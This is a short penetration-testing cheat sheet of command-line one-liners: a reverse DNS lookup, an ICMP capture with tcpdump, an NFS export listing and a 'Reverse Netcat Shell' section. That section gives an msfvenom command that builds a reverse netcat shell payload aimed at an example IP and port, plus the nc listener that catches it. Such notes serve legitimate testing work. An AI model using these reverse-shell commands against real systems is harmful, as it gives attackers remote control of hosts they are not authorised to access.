Authors: | Created: 2021-09-02 | Last update: 2026-07-14
CLI Commands Collation¶
A running collection of handy one-liners we reach for during penetration tests and network troubleshooting. Replace the example IPs and interfaces with your own.
Find PTR Owner - Reverse Lookup¶
Query the PTR/NS records for a reverse DNS zone:
dig 0.168.192.in-addr.arpa. NS
Listen for Ping/ICMP on Interface¶
Capture only ICMP traffic on a given interface:
sudo tcpdump ip proto \\icmp -i eth0
Reverse Netcat Shell¶
Generate the payload (R = raw, no encoding or format wrapper):
msfvenom -p cmd/unix/reverse_netcat lhost=10.11.19.49 lport=4444 R
Start the listener:
nc -lvp 4444
NFS Show Mount¶
List the NFS exports a host is offering:
showmount -e 10.10.87.232